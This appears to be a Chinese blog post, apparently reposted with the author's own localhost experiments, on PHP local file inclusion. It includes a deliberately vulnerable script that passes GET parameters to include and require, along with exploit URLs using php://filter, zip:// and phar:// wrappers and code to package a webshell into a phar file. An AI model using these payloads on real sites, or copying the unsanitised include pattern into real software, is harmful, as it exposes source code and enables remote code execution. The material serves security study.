转载
自己实验了一波。
一.漏洞原因
主要是php文件里include, require, include_once, require-once 函数不恰当使用引起的。
LFI.php:
LFI.php<br/>
<?php
echo "1"."<br>";
include($_GET["include"]);
echo "2"."<br>";
require $_GET["require"];
echo "3"."<br>";
include_once $_GET["include1"];
echo "4"."<br>";
require_once $_GET["require1"];
echo "5"."<br>";
?>
func1.php
<?php
echo "iam func1<br/>";
?>
还有func2.php类似于func1.php。
访问http://127.0.0.1/LFI.php?include=func1.php
返回结果如下:
发现require之后的代码确实没有执行。
访问
http://127.0.0.1/LFI.php?include=func1.php&require=func2.php&include1=func1.php&require1=func2.php
返回结果如下:
Snipaste_2017-08-15_21-53-09.png
可以发现 require执行了, 但是include_once 和require_once 由于前面已经包含了php文件, 就没有再执行该部分代码。
二.漏洞利用
看多少记多少吧, 都是骚操作。
1.使用php://filter 协议和base64编码去访问本地文件得到源码
访问http://127.0.0.1/LFI.php?include=php://filter/read=convert.base64-encode/resource=func1.php
结果如下:
可以发现返回了func1.php 的base64 编码, 在通过将base64 字符串解码, 就可以得到源码。
2. 使用zip:// 协议去访问压缩文件中的文件
这就意味着可以直接绕过后缀名。
比如访问'http://127.0.0.1/LFI.php?include=zip://func1.jpg#func1.php',其中fun1.jpg 是改了后缀的压缩文件。
3.使用phar://协议去读取服务器端的phar文件, 执行 phar 文件中的php 脚本或者其他。这需要事先本地创建一个phar文件再上传到目标站点。
创建phar 文件代码, 其中phar 文件里只包含一个 createwebshell.php 文件。
<?php
$phar = new Phar('webshell4.phar');
$phar->addFile('createwebshell.php', 'cws.php');
?>
phar文件就相当于 java 里的jar 文件, 只不过phar 文件不可以用压缩文档打开, 可以用编辑器打开, 会发现phar 文件拥有特别的格式。
通过访问http://127.0.0.1/LFI.php?include=phar://webshell.phar/cws.php
可以执行cws脚本, 其中webshell.phar 的后缀可以随意更改以便绕过后缀检查。
网友评论